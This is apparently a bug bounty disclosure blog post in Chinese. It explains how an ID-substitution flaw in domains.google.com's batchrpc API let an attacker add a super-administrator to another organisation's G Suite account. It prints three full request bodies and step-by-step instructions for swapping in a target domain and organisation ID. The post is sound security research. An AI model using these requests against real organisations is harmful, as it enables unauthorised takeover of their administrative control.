如何通过漏洞成为他人G Suite组织的超级管理员并接管控制权

本文详细披露了通过Google域名管理平台domains.google.com的API请求漏洞,可向任意G Suite组织添加超级管理员账户的技术细节,包含完整的请求构造方法和ID替换逻辑。

成为他人G Suite组织超级管理员并接管控制的方法

大家好!好久没在这里发帖了 :)

众所周知,我计划撰写多年来通过微软漏洞赏金计划完成的研究报告。仍在摸索最佳撰写方式和报告选择。在此期间,我将分享一些在谷歌的研究成果。

微软和谷歌是我主要参与的两个赏金计划,谷歌计划也带来了丰硕的研究成果 :)

今天我将展示如何将自己添加为他人G Suite账户的超级管理员。

概念验证(POC)

G Suite是谷歌为组织和教育机构提供的产品套件,类似于微软的O365。在G Suite中,组织的主要管理员是超级管理员,拥有所有权限:创建群组、管理用户、修改密码等。组织应尽量减少超级管理员数量以降低账户泄露风险。

但如果能在他人G Suite组织中创建超级管理员账户呢?如果能够直接加入任何G Suite组织并成为超级管理员呢?这就是本次研究的起点。

谷歌有一个名为domains.google.com的功能,这是谷歌运营的域名注册商。在此平台上可以创建G Suite订阅并进行管理,包括添加用户、设置超级管理员、管理支付方式等。

通过domains.google.com添加用户时,会启动一个流程并发送多个请求。具体流程是:通过domains.google.com添加管理员用户 → 发送添加用户请求 → 打开支付门户为新增用户付费。通过分析请求并替换正确ID,即可向任意G Suite组织添加管理员。

请求分析

在domains.google.com添加管理员时,会发送三个请求:

第一个请求:

1
2
3
POST /batchrpc HTTP/1.1
Host: domains.google.com
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":""}

第二个请求:

1
2
3
POST /batchrpc HTTP/1.1
Host: domains.google.com  
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":38,\"2\":{},\"40\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"13\":\"5896212\"}}],\"5\":\"en-US\"},\"2\":\"USD\"}}}","xsrf":""}

第三个请求:

1
2
3
POST /batchrpc HTTP/1.1
Host: domains.google.com
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":11,\"2\":{},\"13\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"8\":{\"1\":\"USD\",\"2\":\"10000000\"},\"9\":{\"1\":{\"1\":\"USD\",\"2\":\"5000000\"},\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"3\":0},\"13\":\"5896212\"},\"8\":{\"2\":{}}}],\"5\":\"en-US\"},\"2\":\"USD\",\"4\":1,\"9\":\"US\",\"10\":0}}}","xsrf":""}

这三个请求将用户1337.baby添加到testdomain4534.com的G Suite组织。

攻击实施

需要两个关键信息:

  1. 目标G Suite组织的域名(如amazingpotato.org)
  2. 目标G Suite组织的ID(如25879957)

替换步骤:

  1. 将所有请求中的testdomain4534.com替换为目标域名
  2. 替换所有请求中的组织ID(如5896212 → 25879957)
  3. 替换用户ID相关信息

修改后的第一个请求示例:

1
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"25879957\",\"2\":\"amazingpotato.org\",\"3\":[{\"2\":{\"1\":\"amazingpotato.org\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}

完成所有三个请求的替换后,系统会弹出购买用户的提示。支付成功后,超级管理员账户将被添加到目标组织,账户密码将发送到攻击者邮箱。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计